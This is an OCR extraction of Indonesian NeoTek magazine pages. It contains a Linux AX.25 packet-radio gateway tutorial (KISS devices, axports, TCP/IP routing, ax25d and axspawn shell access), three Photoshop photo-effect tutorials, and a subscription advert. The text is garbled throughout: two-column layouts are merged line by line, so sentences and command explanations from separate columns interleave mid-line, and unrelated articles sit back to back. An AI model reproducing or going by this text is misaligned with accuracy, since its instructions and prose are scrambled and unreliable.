Mengaktifkan mode KISS dari hyperterminal melalui prompt file /etc/ax25/axports.


cmd: dapat ditulis:
cmd: kiss on Mengkonfigurasi Routing AX.25
cmd: restart Untuk stasiun-stasiun paket radio yang kecil kadang kala
Bagi anda yang menggunakan NOS (software Network kita perlu merelay melalui relay paket radio (istilahnya
Operating System di DOS) dan sudah mengaktifkan sa- digital repeater atau digipeater). Untuk memaksa agar
luran komunikasi serial ke TNC dengan nomor port ax0, semua paket yang ditujukan kepada YD0LQZ di relay
dapat menggunakan perintah berikut: melalui YC0ZPV yang merupakan digipeater, dapat
param ax0 255 dilakukan menggunakan perintah axparms berikut:
tr ax0 111 # /usr/sbin/axparms -route add ax0 YD0LQZ YC0ZPV
kiss on
Memonitor Traffic Di Jaringan AX.25
Teknik Mengkonfigurasi Linux AX.25 Jika anda ingin memonitor traffic AX.25 yang ada di
Langkah selanjutnya yang perlu dilakukan di sisi server jaringan packet radio, dapat dilakukan melalui perintah
Linux yang akan menjadi gateway packet radio adalah: $ /usr/bin/listen -a
1. Mengaktifkan KISS device
anda dapat belajar banyak dengan memonitor packet yang
2. Mengkonfigurasi AX.25 port lewat, jangan lupa membaca-baca referensi tentang pro-
3. Mengkonfigurasi AX.25 routing jika di perlukan tokol AX.25.
4. Mengkonfigurasi routing TCP/IP di atas interface Terus terang, dalam banyak hal protokol Wireless LAN
AX.25 IEEE 802.11 juga banyak kesamaannya dengan protokol
AX.25, karena memang orang-orang yang
Mengaktifkan KISS device mengembangkannya sebagian adalah orang amatir radio
yang berkecimpung di packet radio seperti KA9Q.
Bagi anda yang menggunakan Terminal Node Controller
(TNC), mengaktifkan device KISS sama sekali tidak sukar. Konfigurasi Routing TCP/IP di atas AX.25
Bagi anda yang ingin menggunakan soundcard sebagai Sebetulnya teknik konfigurasi routing TCP/IP di atas
modem packet radio, teknik mengaktifkan-nya agak lebih jaringan packet radio AX.25 sama dengan teknik konfig-
sukar sedikit dan dapat di baca di AX.25 HOWTO. urasi routing TCP/IP di atas jaringan Internet biasa. Bagi
Di bawah ini adalah teknik mengaktifkan device KISS agar anda yang belum terbiasa dengan teknik routing TCP/IP
Linux dapat berbicara ke Terminal Node Controller (TNC): ada baiknya membaca buku saya yang berjudul TCP/IP
# /usr/sbin/kissattach /dev/ttyS0 -m 255 ax0 konsep disain & implementasi yang berwarna hitam & ada
# /usr/sbin/kissparms -p ax0 -t 100 -s 100 -r 25 di toko buku Gramedia.
Pada perintah kissattach kita dapat memberitahukan nama Berikut adalah contoh sederhana konfigurasi routing TCP/IP:
device KISS (ax0), nilai Maxium Transmission Unit (MTU) # /usr/sbin/kissattach -m 256 /dev/ttyS0 ax0
255 byte (-m 255), dan serial port yang digunakan untuk # /sbin/ifconfig ax0 44.136.8.6 netmask 255.255.255.0
komunikasi ke Terminal Node Controller adalah COM1 # /sbin/route add -net 44.136.8.0 netmask 255.255.255.0 ax0
(/dev/ttyS0). # /sbin/route add default ax0
Melalui file /etc/ax25/axports kita menghubungkan Perintah /sbin/ifconfig untuk memberikan IP address ke
/dev/ttyS0 dengan nama port 'ax0'. sebuah interface di Linux, dalam hal ini interface ax0.
Setelah device KISS di attach, yang selanjutnya perlu di- Perintah /sbin/route untuk mengkonfigurasi routing
konfigurasi adalah parameter dari Terminal Node Con- TCP/IP. Perhatikan di tambahkan juga perintah /sbin/route
troller (TNC) melalui perintah kissparms add default ax0.
Dalam contoh di atas KISS device yang digunakan di Bagi anda yang mempunyai sambungan Internet non-
konfigurasi agar txdelay (-t) dan slottime (-s) 100 milli- packet radio, perintah route add default akan berbeda
seconds dan ppersist (-r) 25. Bagi anda yang menggunakan sedikit dengan yang dicontohkan di atas agar semua paket
rig PLL sebaiknya txdelay di naikan menjadi sekitar 200 ke Internet dapat di relay dengan benar.
milliseconds. Gunakan perintah ping untuk mencek apakah hubungan
komunikasi berjalan dengan baik atau tidak. Contohnya:
Mengkonfigurasi port AX.25
$ ping -i 5 44.136.8.58
Konfigurasi port AX.25 dilakukan dengan mengedit isi file
/etc/ax25/axports. Adapun format informasi yang harus Mengoperasikan Gateway
diberikan adalah sebagai berikut
Ada beberapa teknik mengoperasikan gateway, mulai dari
portname callsign baudrate paclen window description yang paling sederhana seperti call station lain di jaringan
Sebagai contoh: radio hingga yang sangat kompleks seperti memberikan
servis e-mail ke Internet. Beberapa hal berikut akan dite-
ax0 YB0ZZA-15 9600 256 2 1200bps 144.140 MHz
rangkan, yaitu:
Perhatikan bahwa baudrate 9600 adalah kecepatan serial 1. Call station amatir radio melalui AX.25.
antara Terminal Node Controller (TNC) ke PC, bukan ke-
cepatan data di radio yang sebenarnya. 2. Konfigurasi Linux untuk menerima call AX.25
3. Memberikan servis shell Linux melalui AX.25
Jika anda mempunyai lebih dari satu port maka anda perlu 4. Memberikan servis TCP/IP Internet di jaringan packet radio.
memasukan informasi dari masing-masing port ke dalam

Vol. IV No. 08 NeoTek 43


NeoTekno

Call Station Amatir Radio Melalui AX.25 /etc/ax25/ax25d.conf sebagai berikut:


Untuk berhubungan/call sebuah stasiun amatir yang meng- default * * * * * 1 root /usr/sbin/axspawn axspawn %u
gunakan protocol AX.25 dapat dilakuan melalui perintah Jika di aktif kalimat kita beri karakter + maka user yang
call, seperti contoh di bawah ini: connect harus menekan tombol enter, sebelum mereka
$ /usr/bin/call ax0 YC0GDF via YC0ZPV dapat logon. Default-nya tidak perlu menunggu.
dalam contoh, kita berusaha call YC0GDF melalui relay/ Pada saat axspwan beroperasi maka dia akan mencheck
digipeater YC0ZPV. apakah callsign dari stasiun amatir radio tersebut adalah
callsign yang legal. Kemudian mencek apakah user tersebut
ada di /etc/passwd file ada dan apakah account tersebut
Konfigurasi Linux Untuk Menerima Call AX.25 telah di konfigurasi.
Linux adalah system operasi yang sangat tangguh dan Jika account user yang masuk telah ada, dengan password
kompleks, kita dapat mengkonfigurasi banyak hal/alterna- "" atau + maka user akan langsung login. Jika ada sesuatu
tif untuk menerima call dari AX.25. Kita dapat mengijin- di password field, maka user akan di tanyakan password-
kan agar pengguna masuk ke Buletin Board System (BBS), nya.
atau masuk ke shell linux dll.
Jika user belum ada di file /etc/passwd, maka axspawn
AX.25 di Linux di lengkapi dengan software ax25d yang dapat di konfigurasi untuk secara automatis meng-create
dapat mengatur apa yang harus dilakukan jika ada call dari user dan mengkonfigurasi /etc/passwd.
AX.25, pada kesempatan ini akann di jelaskan:
Proses konfigurasi axspwan dapat dilakukan melalui file
1. Teknik konfigurasi /etc/ax25/ax25d.conf konfigurasi /etc/ax25/axspawn.conf sebagai berikut:
2. Teknik menjalankan ax25d # /etc/ax25/axspawn.conf
Teknik konfigurasi file /etc/ax25/ax25d.conf tidak terlalu #
sulit dan dapat dilakukan menggunakan text editor biasa. # allow automatic creation of user accounts
create yes
Pada dasarnya isi /etc/ax25/ax25d.conf mengatur program #
yang harus di eksekusi bagi pengguna AX.25 yang masuk. # guest user if above is 'no' or everything else fails. Disable with
Adapun format yang digunakan adalah sbb: "no"
# This is a comment and is ignored by the ax25d program. guest no
[port_name] || <port_name> || {port_name} #
<peer1> window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> # group id or name for autoaccount
<peer2> window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> group ax25
parameters window T1 T2 T3 idle N2 <mode> #
<peer3> window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> # first user id to use
... first_uid 2001
#
default window T1 T2 T3 idle N2 <mode> <uid> <cmd> # maximum user id
<cmd-name> <arguments> max_uid 3000
#
Sekedar ilustrasi di bawah ini adalah contoh isi dari # where to add the home directory for the new users
/etc/ax25/ax25d.conf home /home/ax25
#
# /etc/ax25/ax25d.conf # user shell
# shell /bin/bash
# ax25d Configuration File. #
# # bind user id to callsign for outgoing connects.
# AX.25 Ports begin with a '['. associate yes
#
[YC0ATC VIA AX0]
parameters 1 10 * * * * * Memberikan Servis TCP/IP di Amatir Radio
NOCALL * * * * * * * L Pada dasarnya memberikan servis Internet (TCP/IP) di atas
default 1 10 5 100 180 5 * root /usr/sbin/pms pms -a -o yc0atc jaringan packet radio amatir tidak berbeda terlalu banyak
# default * * * * * * * root /usr/sbin/axspawn %u + dengan berbagai servis TCP/IP di Internet yang biasa.
# default * * * * * * * root /usr/sbin/ttylinkd ttylinkd
Hal yang membatasi servis di jaringan packet radio
Jika konfigurasi /etc/ax25/ax25d.conf telah di lakukan, amatir adalah kecepatannya yang sangat rendah hanya
maka yang harus kita kerjakan adalah menjalankan 1200bps s/d 9600bps yang normal digunakan. Akibatnya
perintah kita biasanya membatasi servis sebatas e-mail atau
# /usr/sbin/ax25d chatting yang sangat lambat.
Untuk memberikan servis e-mail di Linux Mandrake bia-
Memberikan Servis Shell Linux Melalui AX.25 sanya sudah tersedia paket software postfix & imap yang
dapat memberikan servis SMTP, POP3 & IMAP.
Jika kita ingin memberikan servis shell (mirip dengan
DOS Prompt kalau di Windows), hal ini dapat dilaukan Biasanya saya akan membatasi besarnya e-mail yang
melalui program axspawn. masuk hanya sekitar 5-10Kbyte saja. Dengan demikian e-
mail yang besar akan bounced secara automatis. Detail
Melalui program axspawn, seseorang yang tersambung teknik konfigurasi postfix, pop3 dan imap saya sarankan
melalui AX.25 akan login ke mesin kita dan langsung untuk membaca-baca manual di Internet.
menjalankan shell.
Penulis dapat dihubungi lewat email onno@indo.net.id
Untuk itu kita perlu menggukana entry di

44 NeoTek Vol. IV No. 08


NeoStyle

PHOTOSHOP
EMBUAT EFEK-EFEK KHUSUS PADA FOTO
M di Photoshop ternyata tidak sesulit
seperti yang dibayangkan oleh ba-
nyak orang, ternyata ada trik-trik yang

EFEK LINE DENGAN mudah dipahami dapat menghasilkan foto


yang memiliki nilai seni yang tidak kalah
dengan menggunakan trik-trik yang sulit

FUNGSI PATTERN bahkan ngejelimet.


Artikel berikut ini memberikan teknik un-
tuk membuat efek line pada foto anda, pa-
car, maupun keluarga akan menjadi lebih
Memberi efek pada foto apa saja menjadi suatu karya menarik dikarenakan penerapan efek line
seni dengan beberapa langkah, Wawan Saprudin pada foto menambah nilai seninya.
(Shinici12@yahoo.com) mengupas cara memanipulasi foto Ayo... cepat dicoba, buktikan kehandalan
Adobe Photoshop dalam memanipulasi
dengan efek line hasil fungsi dari Pattern. foto-foto kesayangan yang anda miliki agar
menjadi semakin indah.

Penerapan fungsi Pattern memungkinkan pembentukan karya seni dari foto biasa.

NEW PENCIL TOOL DEFINE PATTERN


1 Buka Photoshop. Lalu klik menu
File>New. Pada kotak dialog yang
2 Pilih pencil tool pada pallete
tool sebelah kiri, dan foreground
3 Selanjutnya menjadikan bidang
gambar anda tadi menjadi
muncul, isikan Width & Height colornya adalah hitam (black). Pattern, klik Edit>Define Pattern.
dengan 2 pixels. Pilih opsi Lalu warnai ½ bagian atas objek Muncul popup menu Pattern
transparent pada Content, lalu tadi sehingga tampak seperti Name, beri nama bidang gambar
klik OK. Akan muncul bidang gambar di atas. anda yang akan dijadikan sebagai
gambar, perbesar hingga 1600%. salah satu Pattern. Pada contoh
diberi nama Conan.

FILL HASIL EFEK FOTO SEBELUMNYA


4 Kemudian buka foto yang akan
diberikan efek, klik File>Open. Pa-
5 Anda sudah dapat tersenyum jika
melihat pekerjaan yang dilakukan
6 Masih belum percaya? Coba laku-
kan perbandingan dengan foto
da tahap ini, klik Edit>Fill. Muncul berhasil, perhatikan dengan sek- sebelumnya yang belum menda-
popup menu Fill, pilih opsi pengi- sama foto yang telah mendapat pat sentuhan efek line, tentu anda
sian untuk Content: Use - Use Cus- efek line. Lebih menarik bukan? akan melihat perbedaan dan
tom, Pattern: Blending - Opacity, Anda dapat membuat foto anda dapat memilih mana yang lebih
seperti yang terlihat pada gambar yang lain untuk diberi efek line, menarik dipandangan mata.
di atas. Klik OK jika selesai. bila mungkin foto someone...

Vol. IV No. 08 NeoTek 45


NeoStyle

PHOTOSHOP M
ASIH MENGENAI PEMBUATAN EFEK
pada foto dengan memanfaatkan
fungsi Pattern di Photoshop.
Selesai dengan efek line, sekarang anda di-

EFEK SQUARE DENGAN ajak untuk membuat efek square (petak


alias persegi empat).
Tetapi nantinya tidak membuat wajah yang

FUNGSI PATTERN tampan atau cantik ikutan menjadi petak,


justru akan membuat penampilan diri anda
di foto makin bertambah menarik, tenang
saja... dan ini bukan iklan lho...
Selain efek line, masih ada efek lainnya yang dapat dibuat Jika anda sudah mengikuti artikel yang se-
atau ditambahkan masih dengan memanfaatkan fungsi belumnya dengan baik, maka untuk yang
Pattern. MA Rody Candera (odyxb@bogor.net) membe- ini makin cepat anda mengerti karena yang
dituturkan pada bahasan ini tidak berbeda
berkannya kepada anda hingga menjadi Tips mudah me- tetapi yang menjadi pokok bahasan ada se-
manipulasi foto dengan Pattern menjadi bertambah. dikit gaya baru.

Penerapan fungsi Pattern memungkinkan pembentukan karya seni dari foto biasa.

NEW PENCIL TOOL DEFINE PATTERN


1 Aktifkan Photoshop. Lalu klik
menu File > New. Pada kotak
2 Pilih pencil tool pada pallete tool
sebelah kiri, dan foreground color-
3 Selanjutnya menjadikan bidang
gambar anda tadi menjadi
dialog yang muncul, isikan Width nya adalah hitam (black). Buatlah Pattern, klik Edit > Define Pattern.
& Height dengan 10 pixels. Pilih gambar persegi empat dengan Muncul popup menu Pattern
opsi transparent pada Content, lalu menggunakan pencil tool seperti Name, beri nama bidang gambar
klik OK. Akan muncul bidang yang tampak pada gambar di anda yang akan dijadikan sebagai
gambar, perbesar hingga 1600%. atas. salah satu Pattern. Pada contoh
diberi nama Conan2.

FILL HASIL EFEK FOTO SEBELUMNYA


4 Kemudian buka foto yang akan
diberikan efek, klik File > Open. Pa-
5 Lihatlah dampak yang ditimbul-
kan dari efek yang anda buat
6 Silakan anda melakukan perban-
dingan antara foto asal yang be-
da tahap ini, klik Edit > Fill. Muncul tadinya, tampak gambar menjadi lum tersentuh efek dengan foto
popup menu Fill, pilih opsi pengi- lebih berkesan cantik, aktraktif, yang telah mendapat sentuhan
sian untuk Content: Use - Use Cus- dan dinamis. efek.
tom, Pattern: Blending - Opacity,
seperti yang terlihat pada gambar
di atas. Klik OK jika selesai.

46 NeoTek Vol. IV No. 08


NeoStyle

PHOTOSHOP
NTUK URUSAN EFEK-EFEK, ADOBE
U Photoshop cukup diacungi jempol
karena memang betul-betul good.
Anda setuju bukan...

MEMBUAT EFEK BLUR Masih dengan tips mudah dan langkah-


langkah pembuatan yang gampang dicerna
untuk memberikan efek untuk foto anda,

PADA FOTO berikut ini merupakan bahasan yang sedi-


kit lebih panjang dari bahasan yang sebe-
lumnya, tetapi anda tetap bisa mengikuti-
nya. namanya juga tips...
Sebelumnya merupakan bahasan mengenai pembuatan
Jadi tidak perlu repot-repot mikirin bagai-
efek line dan square, maka untuk memperlengkap artikel mana cara memanipulasi foto biar menjadi
mengenai membuat efek untuk foto dengan Adobe Photo- bagus, lakukan segera. rasakan dan bukti-
shop, MA Rody Candera (odyxb@bogor.net) menyajikan kan sendiri... Jangan hanya melihat-lihat
saja. Ikuti langkah-langkah yang dijelaskan
Efek Blur untuk pembaca setia NeoTek. bahasan kali ini, dijamin asyik.

Penerapan fungsi Blur membuat foto biasa menjadi foto yang memiliki karya seni.

Klik kanan
disini untuk
memunculkan
popup menu

OPEN FOTO FILE DUPLICATE LAYER DUPLICATE LAYER


1 Buka file foto yang telah diper-
siapkan dengan meng-klik File >
2 Pada menu Layer, lakukan klik
kanan untuk memunculkan
3 Pada popup menu Duplicate
Layer, beri nama Radial. Biarkan
Open. Pada popup menu Open, popup menu dan kemudian pilih saja opsi lainnya dan langsung
pilih file foto yang akan dijadikan Duplicate Layer. klik tombol OK.
bahan percobaan.

Create New Channel

Hasil Create New


Channel

RADIAL BLUR HASIL EFEK 1 CREATE NEW CHANNEL


4 Selanjutnya klik Filter > Blur >
Radial Blur. Pada popup menu
5 Perhatikan gambar di atas yang
merupakan hasil efek dari Radial
6 Pada window channel, klik
tombol Create New Channel. Tekan
Radial Blur, tentukan untuk tiap- Blur, tetapi pekerjaan belum Ctrl+V (paste) pada keyboard.
tiap opsi seperti yang terlihat pada selesai karena itu bukan hasil
gambar di atas. Hal ini dilakukan akhir yang kita harapkan. Tekan
untuk memberikan efek blur pada Ctrl+A kemudian Ctrl+C
foto anda.

Vol. IV No. 08 NeoTek 47


NeoStyle

Hasil Load Selection


& Inverse

Load Selection

HASIL EFEK 2 LOAD SELECTION WINDOW LAYER


7 Gambar di atas merupakan hasil
efek yang dilakukan mulai dari
8 Pada menu Window Channel, klik
tombol Load Selection. Kemudian
9 Kembali ke window Layer dan
pilih Radial Layer. Lakukan
proses copy sampai ke paste pada pada menu klik Select > Inverse. Desselect karena akan dimulai
new channel, tetapi belum ber- Apa yang terjadi? seperti yang untuk memodifikasi efek pada
akhir karena ini juga bukan hasil diperlihat pada latar belakang foto. Pilih Eraser Tool, tapi sebe-
akhir yang diharapkan. pada gambar di atas. Kemudian lumnya turunkan nilai Opacity
tekan Backspace pada Keyboard. sampai 50%.

ERASER TOOL LEVELS 1 LEVELS 2


10 Eraser tool diperlukan untuk mem-
bersihkan objek utama foto dari
11 Selanjutnya klik Image >
Adjustments > Levels. Anda akan
12 Pada opsi Channel di popup
menu Levels, anda dapat memilih
efek blur sehingga efek blur ter- dihantarkan pada popup menu opsi yang tersedia dan melakukan
lihat hanya sebagai latar belakang Levels, didalamnya terdapat ba- perubahan terhadap nilai input-
saja, lalu kembalikan nilai Opacity nyak opsi yang dapat anda laku- nya. Pilihan tidak hanya dapat
menjadi 100%. Lihat gambar di kan untuk menimbulkan efek dilakukan satu kali saja, melain-
atas untuk lebih jelasnya. yang ditimbulkan. kan dapat berulang kali.

LEVELS 3 HASIL EFEK AKHIR MENAMBAHKAN EFEK LAIN


13 Lakukan pengubahan nilai input
sampai anda menemukan pen-
14 Gambar di atas merupakan hasil
efek akhir yang sebenarnya diha-
15 Anda juga dapat menambahkan
efek lain seperti efek Pattern yang
campuran warna terhadap blur rapkan. Anda perhatikan gambar telah dijelaskan sebelumnya,
sesuai dengan selera. Jika belum dengan seksama, terlihat begitu seperti yang diperlihatkan gambar
sesuai, kembali lakukan pengubah- cantik bukan? di atas...
an nilai input.

48 NeoTek Vol. IV No. 08


NeoStyle

Iklan visionnet

Ketinggalan Membaca NeoTek?


OTEK DENGAN ARTIKEL-ARTIKEL Aswan Bakri
N hacking, security, programming,
maupun sekedar memanfaat-
BCA KCP Rawamangun
No. rek. 0940544131
NeoTek di stockist dijual dengan cover
price sebagai berikut:
kan software pada dasarnya tidak akan Dapatkan dari Stockist Vol. I (tanpa CD) No. 1 s/d 9, Rp6500,-
pernah basi dan layak dikoleksi. Vol. I (tanpa CD) No. 10 s/d 12, Rp9500,-
Untuk yang berada di luar Jakarta,
Tetapi bagaimana apabila anda baru- menghubungi NeoTek di Jakarta akan Vol. II (+CD) No. 1 s/d 12, Rp19.500,-
baru ini saja tahu adanya NeoTek, Vol. III (+CD) No. 1 s/d 12, Rp19.500,-
membawa kerepotan selain juga harus Vol. IV (+CD) No. 1 s/d 3, Rp19.500,-
atau edisi lama NeoTek ataupun CD- menanggung ongkos kirim. Untuk itu
nya hilang, dipinjam tidak dikemba- Vol. IV (+CD) No. 4 dst., Rp20.000,- (P.
NeoTek tersedia di beberapa kota sbb: Jawa) dan Rp22.000,- (Luar P. Jawa)
likan, ataupun rusak? Bandung
Dapatkan di Pameran CV Angkasa Berlangganan
Jl. Merdeka No. 6 Untuk menjamin bahwa anda tidak
NeoTek selalu hadir di pameran-pameran Bandung 40111
komputer di Jakarta. (M Mega Bazaar lagi ketinggalan edisi NeoTek, paling
Tel. 021-4204795, 4208955 baik berlangganan. Untuk itu hubungi:
Computer, Festival Komputer Indo- Fax. 022-4239183
nesia, dan IndoComtech). KRISHNAdiSTRIBUTOR
Semarang Tel. (021) 5835 0080
Dapatkan Langsung Lestat HP. (0816) 1187 111 (Boedi)
Jl. Kaligarang 2B email: krishnadistributor@neotek.co.id
Cara pasti adalah mendapatkan lang- Semarang 50237 Kontak: Boedi Krishnadi
sung dari NeoTek dengan menghubungi: Tel. 024-8411489 BCA No. rek.. 342-239-1611
PT NeoTek Maju Mandiri Fax. 024-8445211
Gedung Cahaya Palmerah 503 Harga NeoTek+CD mulai edisi IV/04:
Surabaya Rp20.000,- ( P. Jawa)
Jl. Palmerah Utara III/9 Toko Buku URANUS
Jakarta 11480 Rp22.000,- (Luar P. Jawa)
Jl. Ngagel Jaya 89-91 Ongkos kirim gratis untuk DKI Jakarta,
Telp. 021-5481457, Fax. 021-5329041 Surabaya
Marni)
email: redaksi@neotek.co.id (M sedangkan untuk luar DKI Jakarta,
Tel. 031-5681388 Rp6500,- per eksemplar.
Keuntungannya anda dapat memesan Gorontalo
majalah+CD, majalah saja, atau CD Arbyn Dungga Ingin Menjadi Stockist?
saja, tetapi anda akan dibebani ongkos Jl. Prof. Dr. Aloei Saboe No 54, Yang berminat berinvestasi sedikit
kirim, selain harus mengirim uang Heledulaa Selatan, Gorontalo 96114, dalam distribusi NeoTek, silakan
terlebih dahulu ke rekening: Propinsi Gorontalo hubungi pemasaran@neotek.co.id

También podría gustarte